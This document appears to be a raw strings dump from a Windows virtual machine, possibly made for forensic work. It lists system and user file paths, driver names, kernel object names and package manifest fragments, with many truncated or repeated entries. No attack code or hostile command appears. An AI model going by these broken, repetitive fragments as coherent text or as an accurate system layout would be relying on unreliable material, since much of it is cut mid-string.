Category\windows.protocol\1ff windows.protocol Application\9e\200 ApplicationAndCategory\9e^windows.protocol\200 Category\windows.protocol\200 windows.fileOpenPicker Application\9e\201 ApplicationAndC \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\SyncEngineDatabase.db-wal \ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpOAV.dll \Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462 \Program Files\VMware\VMware Tools\plugins\vmsvc\hwUpgradeHelper.dll x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736.manifest \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncCxPImpl.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_0 \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityConsentStorage.db-wal \Windows\Registration\{02D4B3F1-FD88-11D1-960D-00805FC79235}.{467943E8-27D5-4CDC-B8E0-FC9CC5256F9A}.crmlog \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfs.dll \Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe \Program Files\VMware\VMware Tools\VMware VGAuth\libssl-3-x64.dll \Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx \Windows\System32\LogFiles\WMI\RtBackup\EtwRT1DSListener.etl \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncCxP.dll \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Core.dll \Program Files\VMware\VMware Tools\plugins\vmsvc\powerOps.dll \Program Files\VMware\VMware Tools\VMware VGAuth\libxml2.dll \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\SyncEngineDatabase.db-shm \Windows\System32\SleepStudy\ScreenOn\ScreenOnPowerStudyTraceSession-2026-02-24-09-06-02.etl \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\OCSI.db-shm \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Quick.dll \Program Files\VMware\VMware Tools\VMware VGAuth\libxmlsec.dll \Program Files\VMware\VMware Tools\VMware VGAuth\libxmlsec-openssl.dll \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityConsentStorage.db-shm \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db \Windows\SystemResources\ShellComponents\ShellComponents.pri \Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Audit.evtx \Program Files\VMware\VMware Tools\plugins\vmsvc\resolutionSet.dll \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll \Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdate.dll \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSCache.dll \ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\OCSI.db \Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdateres_en.dll \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSessions.dll \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\UpdateRingSettings.dll \Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncViews.dll \Program Files\VMware\VMware Tools\plugins\vmsvc\timeSync.dll \Program Files\VMware\VMware Tools\VMware VGAuth\pcre2-8.dll \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\SettingsDatabase.db-wal \Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx \2da \ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpSvc.dll \ProgramData\Microsoft\Windows Defender\Support\MpWppCoreTracing-20260224-090600-00000003-100000000.bin \ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe \Program Files\VMware\VMware Tools\plugins\vmsvc\diskWiper.dll \ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db \Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx \Users\job\AppData\Local\Microsoft\OneDrive\settings\PreSignInSettingsConfig.json \ProgramData\Microsoft\Windows Defender\Support\MpWppTracing-20260224-080601-00000003-fffffffeffffffff.bin \Users\job\AppData\Local\Microsoft\Windows\Caches\cversions.3.db \Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_2 \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityAccessManager.db \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfsWB.dll \Program Files\VMware\VMware Tools\plugins\common\hgfsServer.dll \ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpClient.dll \Windows\System32\Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.dll \ProgramData\Microsoft\Windows Defender\Support\MpWppTracing-20260224-080601-00000003-fffffffeffffffff.bin \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Gui.dll \Program Files\VMware\VMware Tools\plugins\common\hgfsUsability.dll \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WebView2Loader.dll \Windows\System32\CapabilityAccessManager.Desktop.Storage.dll \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncRNWin32Lib.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_3 \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\FileSync.LocalizedResources.dll.mui \Windows\System32\winevt\Logs\Microsoft-Windows-UniversalTelemetryClient%4Operational.evtx \Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx \Windows\WinSxS\Manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462.manifest \Users\job\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-wal \Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx \Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\general.keystore \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\platforms\qwindows.dll \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\SyncEngineDatabase.db \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityAccessManager.db-shm \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityAccessManager.db-wal \Users\job\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db \Windows\System32\LogFiles\WMI\RtBackup\EtwRTWFP-IPsec Diagnostics.etl \Program Files\VMware\VMware Tools\VMware VGAuth\glib-2.0-0.dll \Program Files\VMware\VMware Tools\plugins\vmsvc\guestInfo.dll \Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Security.evtx \Program Files\VMware\VMware Tools\plugins\vmsvc\appInfo.dll \ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFALWB.dll \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\SettingsDatabase.db-shm \Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.2.aodl \Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx \ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd-shm \ProgramData\Microsoft\Windows Defender\Support\MpWppCoreTracing-20260224-090600-00000003-100000000.bin \Program Files\VMware\VMware Tools\plugins\vmsvc\autoLogon.dll \Users\job\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-shm \Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf \Program Files\VMware\VMware Tools\plugins\vmsvc\autoUpgrade.dll \ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd-wal \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityAccessManager.db-shm \ProgramData\Microsoft\Windows Defender\Support\MPLog-20260221-005851.log \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityAccessManager.db-shm \Program Files\VMware\VMware Tools\plugins\vmsvc\componentMgr.dll \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityAccessManager.db-wal \Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\ECSConfig.json \Program Files\VMware\VMware Tools\plugins\vmsvc\bitMapper.dll \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityAccessManager.db \ProgramData\Microsoft\Windows Defender\Support\MPDeviceControl-20260221-005851.log \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSDbfsWB.dll \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll \Program Files\VMware\VMware Tools\VMware VGAuth\libcrypto-3-x64.dll \Users\job\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2026-02-24_080648_5016-7516.log System\CurrentControlSet\Control\ProfileList ll\Update\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy pxBlockMap.xml \ProgramData\Microsoft\Windows Defender\Support\MPScanSkip-20260221-005851.log \ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd-wal \Windows\System32\winevt\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WnsClientApi.dll \Windows\System32\Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll \Users\job\AppData\Local\Microsoft\Windows\Notifications\WPNPRMRY.tmp \Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\OCSI.db-wal \ProgramData\Microsoft\Windows\CapabilityAccessManager\CapabilityConsentStorage.db \ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\Drivers\ksld.sys \ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd-shm \Users\job\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-shm \Windows\System32\winevt\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx \Windows\System32\Windows.Security.Authentication.Web.Core.dll vdrvroot.sys volmgrx.sys vsock.sys vmci.sys ataport.sys storahci.sys EhStorClass.sys WdFilter.sys fs_rec.sys ndis.sys tcpip.sys FWPKCLNT.SYS \Device\HarddiskVolume3\Windows\System32\dusmapi.dll port.sys \Device\HarddiskVolume3\Windows\bcastdvr UserMgrProxy.dll \Device\HarddiskVolume3\Windows\System32\drivers\pciidex.sys \Device\HarddiskVolume3\Windows\System32\drivers\pci.sys \Device\HarddiskVolume3\Windows\System32\drivers\vsock.sys \Device\HarddiskVolume3\Windows\System32\en-US\stobject.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\crypt32.dll.mui \Device\HarddiskVolume3\Windows\System32\upnp.dll rt.sys \Device\HarddiskVolume3\Windows\System32\rundll32.exe nfo.sys \Device\HarddiskVolume3\Windows\System32\drivers\intelide.sys \Device\HarddiskVolume3\WINDOWS\system32\ uceffects.dll .dll \Device\HarddiskVolume3\Windows\System32\drivers\vdrvroot.sys \Device\HarddiskVolume3\WINDOWS\system32\ uceffects.dll .dll \Device\HarddiskVolume3\Windows\System32\cscobj.dll iceApi.dll \Device\HarddiskVolume3\Windows\System32\drivers\CEA.sys \Device\HarddiskVolume3\Windows\System32\batmeter.dll mgr.sys \Device\HarddiskVolume3\Windows\System32\WPDShServiceObj.dll \Device\HarddiskVolume3\Windows\System32\drivers\ataport.sys \Device\HarddiskVolume3\Windows\System32\drivers\fileinfo.sys \Device\HarddiskVolume3\Windows\SysWOW64\urlmon.dll \Device\HarddiskVolume3\Windows\System32\drivers\pdc.sys \Device\HarddiskVolume3\Windows\System32\prnfldr.dll \Device\HarddiskVolume3\Windows\System32\en-US\wevtsvc.dll.mui \Device\HarddiskVolume3\Windows\System32\ieframe.dll ives.dll \Device\HarddiskVolume3\Windows\System32\drivers\atapi.sys \Device\HarddiskVolume3\Windows\System32\en-US\wevtsvc.dll.mui \Device\HarddiskVolume3\Windows\System32\drivers\mountmgr.sys \Device\HarddiskVolume3\Windows\System32\provthrd.dll .sys \Device\HarddiskVolume3\Windows\SysWOW64\logoncli.dll \Device\HarddiskVolume3\Windows\System32\batmeter.dll .sys \Device\HarddiskVolume3\Windows\System32\en-US\stobject.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\stobject.dll.mui \Device\HarddiskVolume3\Windows\System32\prnfldr.dll \Device\HarddiskVolume3\Windows\System32\WPDShServiceObj.dll \Device\HarddiskVolume3\Windows\System32\en-US\mprddm.dll.mui \Device\HarddiskVolume3\Windows\System32\drivers\storahci.sys \Device\HarddiskVolume3\Windows\System32\drivers\vmci.sys \Device\HarddiskVolume3\Windows\System32\batmeter.dll::$EA \Device\HarddiskVolume3\Windows\System32\drivers\disk.sys \Device\HarddiskVolume3\Windows\System32\drivers\ndis.sys \Device\HarddiskVolume3\Windows\System32\iuilp.dll ecpkg.sys \Device\HarddiskVolume3\Windows\System32\dusmapi.dll isk.sys \Device\HarddiskVolume3\Windows\System32\iuilp.dll::$EA .dll \Device\HarddiskVolume3\Windows\System32\en-US\Taskmgr.exe.mui \Device\HarddiskVolume3\Windows\System32\drivers\hwpolicy.sys \Device\HarddiskVolume3\Windows\System32\drivers\tcpip.sys \Device\HarddiskVolume3\Windows\System32\drivers\wfplwfs.sys \Device\HarddiskVolume3\Windows\System32\drivers\Classpnp.sys \Device\HarddiskVolume3\Windows\System32\PCPKsp.dll l.sys \Device\HarddiskVolume3\Windows\System32\iphlpsvc.dll \Device\HarddiskVolume3\Windows\System32\bitsigd.dll s.dll \Device\HarddiskVolume3\Windows\System32\ngcpopkeysrv.dll::$EA \Device\HarddiskVolume3\Windows\System32\PCPKsp.dll l.sys \Device\HarddiskVolume3\Windows\System32\drivers\wtd.sys \Device\HarddiskVolume3\Windows\System32\drivers\ksecpkg.sys \Device\HarddiskVolume3\Windows\System32\ngcpopkeysrv.dll \Device\HarddiskVolume3\Windows\System32\PCPKsp.dll ap.sys \Device\HarddiskVolume3\Windows\System32\bitsigd.dll icy.sys \Device\HarddiskVolume3\Windows\System32\drivers\fs_rec.sys \Device\HarddiskVolume3\Windows\SysWOW64\WsmRes.dll io.sys \Device\HarddiskVolume3\Windows\System32\iphlpsvc.dll \Device\HarddiskVolume3\Windows\System32\drivers\mup.sys \Device\HarddiskVolume3\Windows\System32\iphlpsvc.dll \Device\HarddiskVolume3\Windows\System32\dusmapi.dll \Device\HarddiskVolume3\Windows\System32\bitsigd.dll s.dll \Device\HarddiskVolume3\Windows\System32\iphlpsvc.dll \Device\HarddiskVolume3\Windows\System32\en-US\shell32.dll.mui \Device\HarddiskVolume3\Windows\System32\stobject.dll .sys \Device\HarddiskVolume3\Windows\System32\stobject.dll LNT.SYS \Device\HarddiskVolume3\Windows\System32\stobject.dll LNT.SYS \Device\HarddiskVolume3\Windows\System32\bitsigd.dll \Device\HarddiskVolume3\Windows\SysWOW64\WsmRes.dll s.sys \Device\HarddiskVolume3\Windows\System32\en-US\Taskmgr.exe.mui \Device\HarddiskVolume3\Windows\System32\stobject.dll::$EA \Device\HarddiskVolume3\Windows\System32\bitsigd.dll s.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140.dll \Device\HarddiskVolume3\Windows\System32\diagtrack.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140.dll \Device\HarddiskVolume3\Windows\System32\drivers\wtd.sys \Device\HarddiskVolume3\Windows\System32\dbgcore.dll \Device\HarddiskVolume3\Windows\System32\dbgcore.dll \Device\HarddiskVolume3\Windows\System32\dbghelp.dll \Device\HarddiskVolume3\Windows\System32\dbgcore.dll \Device\HarddiskVolume3\Windows\System32\mpr.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\System32\icmp.dll \Device\HarddiskVolume3\Windows\System32\wsock32.dll .dll.mui \Device\HarddiskVolume3\System Volume Information\tracking.log \Device\HarddiskVolume3\Windows\System32\vcruntime140_1.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll::$EA \Device\HarddiskVolume3\Windows\System32\wsock32.dll \Device\HarddiskVolume3\Windows\Temp\vmware-vmsvc-SYSTEM.log \Device\HarddiskVolume3\Windows\System32\diagtrack.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\System32\en-US\propsys.dll.mui \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\mpr.dll \Device\HarddiskVolume3\Windows\System32\diagtrack.dll \Device\HarddiskVolume3\ProgramData\VMware\VMware Tools .dll \Device\HarddiskVolume3\Windows\System32\diagtrack.dll \Device\HarddiskVolume3\System Volume Information\tracking.log \Device\HarddiskVolume3\System Volume Information\tracking.log \Device\HarddiskVolume3\Windows\SysWOW64\urlmon.dll \Device\HarddiskVolume3\ProgramData\VMware\VMware VGAuth \Device\HarddiskVolume3\Windows\Temp\vmware-vmsvc-SYSTEM.log \Device\HarddiskVolume3\Windows\System32\dbghelp.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\DiagTrack bgcore.dll \Device\HarddiskVolume3\Windows\System32\dbgcore.dll \Device\HarddiskVolume3\Windows\System32\wsock32.dll Defender \Device\HarddiskVolume3\Windows\System32\mpr.dll \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\dbghelp.dll \Device\HarddiskVolume3\$Extend\$ObjId:$O:$INDEX_ALLOCATION \Device\HarddiskVolume3\Windows\System32\en-US\propsys.dll.mui \Device\HarddiskVolume3\Windows\System32\fwpolicyiomgr.dll \Device\HarddiskVolume3\Windows\System32\wsock32.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140_1.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140_1.dll \Device\HarddiskVolume3\Windows\System32\mpr.dll .dll \Device\HarddiskVolume3\Windows\System32\trkwks.dll \Device\HarddiskVolume3\Windows\System32\vcruntime140_1.dll \Device\HarddiskVolume3\Windows\System32\dbghelp.dll \Device\HarddiskVolume3\Windows\System32\webio.dll \Device\HarddiskVolume3\Windows\Temp\vmware-vmtoolsd-SYSTEM.log \Device\HarddiskVolume3\Windows\System32\fwpolicyiomgr.dll < NULL \Device\HarddiskVolume3\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_2675093e-d43e-4af4-9275-84e1091fbf56 msdtctm.dll sppcext.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat msdtcVSp1res.dll msdtc.exe.mui #text //.//021//./2./1*.1020+00321.231 :WofCompressedData :WofCompressedData SM0:2528:168:WilStaging_02_p0 SM0:2528:168:WilStaging_02 :WofCompressedData :WofCompressedData SM0:3236:120:WilError_03_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:3960:120:WilError_03_p0 SM0:3960:120:WilError_03_p0h :WofCompressedData SM0:3236:120:WilError_03_p0 :WofCompressedData SM0:4276:304:WilStaging_02_p0h :WofCompressedData SM0:4276:304:WilStaging_02_p0 SM0:5340:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData \AsyncConnectHlp SM0:4276:304:WilStaging_02 \wkssvc :WofCompressedData :WofCompressedData \Endpoint :WofCompressedData \wkssvc :WofCompressedData :WofCompressedData \AsyncSelectHlp :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMApi :WofCompressedData :WofCompressedData :WofCompressedData SM0:1160:120:WilError_03_p0h Security-SPP-ServerGraceEnabled SM0:7880:304:WilStaging_02_p0 SM0:1160:120:WilError_03_p0 \CMApi :WofCompressedData :WofCompressedData \Windows\SysWOW64\dsreg.dll SM0:7880:304:WilStaging_02 :WofCompressedData :WofCompressedData SM0:7880:304:WilStaging_02_p0h SM0:3796:304:WilStaging_02_p0 :WofCompressedData SM0:3796:304:WilStaging_02 :WofCompressedData SM0:3796:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData OLE741A82E5CDA826A043248EAD418D :WofCompressedData :WofCompressedData \Windows\System32\msdtc.exe :WofCompressedData :WofCompressedData :WofCompressedData [wsappx] :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData OLE433A6A42E34A1E837CB869715FBF :WofCompressedData SM0:4004:304:WilStaging_02_p0h SM0:3804:304:WilStaging_02 SM0:3804:304:WilStaging_02_p0 [osprivacy] SM0:3804:304:WilStaging_02_p0h :WofCompressedData \CMNotify SM0:4004:304:WilStaging_02_p0 SM0:4004:304:WilStaging_02 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ \Endpoint :WofCompressedData SM0:4124:120:WilError_03_p0h SM0:4124:120:WilError_03_p0 :WofCompressedData SM0:4216:304:WilStaging_02_p0 :WofCompressedData SM0:3152:304:WilStaging_02_p0h SM0:3152:304:WilStaging_02 OLEEB3EF04DA1C539857DF3E7F7395E :WofCompressedData :WofCompressedData SM0:1216:120:WilError_03_p0 \Windows\System32\ SM0:3152:304:WilStaging_02_p0 SM0:4216:304:WilStaging_02 :WofCompressedData \Windows :WofCompressedData OLE7BFD8FA99364DDCC41F70505D60E :WofCompressedData \Windows\System32\ SM0:1400:120:WilError_03_p0h SM0:3968:304:WilStaging_02_p0h \CMNotify SM0:1216:120:WilError_03_p0h \CMNotify SM0:3968:304:WilStaging_02_p0 OLEA714E7C633ED69EF755C7DB64742 SM0:4216:304:WilStaging_02_p0h SM0:3968:304:WilStaging_02 SM0:1400:120:WilError_03_p0 \CMNotify :WofCompressedData :WofCompressedData [AppReadiness] :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SPPCTransportEndpoint-00001 :WofCompressedData :WofCompressedData \Windows\System32\cscui.dll :WofCompressedData \Windows\System32\fcon.dll :WofCompressedData :WofCompressedData :WofCompressedData SM0:3496:304:WilStaging_02 SM0:3496:304:WilStaging_02_p0h :WofCompressedData SM0:3940:304:WilStaging_02_p0 SM0:3940:120:WilError_03_p0 :WofCompressedData :WofCompressedData :WofCompressedData \Endpoint \Windows\System32\cdp.dll :WofCompressedData SM0:3940:120:WilError_03_p0h :WofCompressedData :WofCompressedData OLE1F9883A402CF025AB7C442AF241D SM0:3940:304:WilStaging_02_p0h :WofCompressedData SM0:3940:304:WilStaging_02 :WofCompressedData SM0:3496:304:WilStaging_02_p0 :WofCompressedData \Endpoint :WofCompressedData OLE8EAECF73B7E196D28740B77506F4 :WofCompressedData OLEAA7B76418449F6EB0BA000A17A02 :WofCompressedData \CMApi cess :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData SM0:2700:304:WilStaging_02_p0h :WofCompressedData SM0:7880:120:WilError_03_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMNotify :WofCompressedData SM0:2700:304:WilStaging_02 SM0:7880:120:WilError_03_p0 \wkssvc \Windows\System32\Clipc.dll SM0:2700:304:WilStaging_02_p0 :WofCompressedData \CMApi SM0:2732:120:WilError_03_p0h :WofCompressedData :WofCompressedData SM0:2732:120:WilError_03_p0 OLEF7DA034413414608262F20B1FE9F :WofCompressedData :WofCompressedData :WofCompressedData \ProgramData\Microsoft\Diagnosis :WofCompressedData \Windows :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ ZonesLockedCacheCounterMutex OLEB4FA35A48277654C3D053FA22C37 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData 5&0&0 \Endpoint :WofCompressedData VMwareToolsQuitEvent_vmusr :WofCompressedData \wkssvc \Windows\explorer.exe \Windows\System32\spp\store\2.0 \Windows\System32\spp\store AzureStackHCI-EnableOEMSupport OLEF9A5D91C7218913CE15141B3994F \Endpoint \wkssvc \Endpoint \CMApi :WofCompressedData :WofCompressedData \Windows\System32\ SM0:3236:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData SM0:3236:304:WilStaging_02_p0h VMwareToolsDumpStateEvent_vmusr SM0:3236:304:WilStaging_02 \Windows\Fonts\segoeui.ttf SessionImmersiveColorMutex \Endpoint \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData OLE00DCDF6836883A6498E60BFD3E57 windows_shell_global_counters :WofCompressedData :WofCompressedData AccessibilitySoundAgentRunning :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData OLEB2D5D881E0E953B3516FA26160EE AllShellUIHostsReadyEvent SM0:3960:304:WilStaging_02_p0 \CMApi :WofCompressedData SM0:3960:304:WilStaging_02 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData BINotifiedNewSessionEvent C:\WINDOWS\Explorer.EXE SM0:3960:304:WilStaging_02_p0h \Windows\System32\ SM0:4124:304:WilStaging_02 :WofCompressedData SM0:4124:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:4124:304:WilStaging_02_p0 OLE99144A53C79137CF12B14653B7A5 :WofCompressedData :WofCompressedData SM0:5340:304:WilStaging_02 :WofCompressedData \Windows\System32\ \Windows\ImmersiveControlPanel HAMNotifiedNewSessionEvent \Endpoint :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData DeferWidgetsInitialization :WofCompressedData :WofCompressedData 11&0 \Windows\Prefetch\ReadyBoot :WofCompressedData \CMApi :WofCompressedData :WofCompressedData :WofCompressedData OLE9BF2EDC7F933ACE93FB4D7168D4D :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:4276:120:WilError_03_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ \Windows\System32\aepic.dll :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData SM0:3556:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:3556:304:WilStaging_02_p0h :WofCompressedData SM0:3556:304:WilStaging_02 :WofCompressedData \CMApi :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\MsDtc\Trace pping :WofCompressedData :WofCompressedData :WofCompressedData \Windows\Panther\UnattendGC OLEC1C73748FB19D064763CE8BB9FB1 SM0:4276:120:WilError_03_p0h :WofCompressedData ESENT.dll.mui ReadyBoot SubC WmiPrvSE.exe Trace 63}\0000 #text true ncryptsslp.dll TsRepetition com.microsoft.windows.extensionpackage VoiceAccessAlias Extension Metadata PackageAliases PackageAlias #text VoiceAccessAlias ExtensionAndName\58^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\14 com.microsoft.windows.extension.voiceaccess VoiceAccess VoiceAccess Classes RWindowsUdk.UI.Shell.VoiceAccessExtension #text VoiceAccessHost.VoiceAccessExports ExtensionAndName\59^com.microsoft.windows.extension.voiceaccess Name\com.microsoft.windows.extension.voiceaccess\15 com.microsoft.windows.extensions.xaml.voiceaccess VoiceAccess Microsoft Windows Extensions Classes &VoiceAccessControl #text VoiceAccess.VoiceAccessControl $MetadataProviders Provider #text VoiceAccess.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text VoiceAccess.VoiceAccessResources ExtensionAndName\5a^com.microsoft.windows.extensions.xaml.voiceaccess Name\com.microsoft.windows.extensions.xaml.voiceaccess\16 com.microsoft.windows.extensionpackage SpeechRecognizerExtensionAlias Public SpeechRecognizerExtension PackageAliases PackageAlias #text SpeechRecognizerExtensionAlias ExtensionAndName\5b^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\17 com.microsoft.windows.extension.speechrecognizerextension SpeechRecognizerExtension SpeechRecognizerExtension udk interface implementations Classes \WindowsUdk.UI.Shell.SpeechRecognizerExtension #text SpeechRecognizerExtension.SpeechRecognizerExtensionImpl ExtensionAndName\5c^com.microsoft.windows.extension.speechrecognizerextension Name\com.microsoft.windows.extension.speechrecognizerextension\18 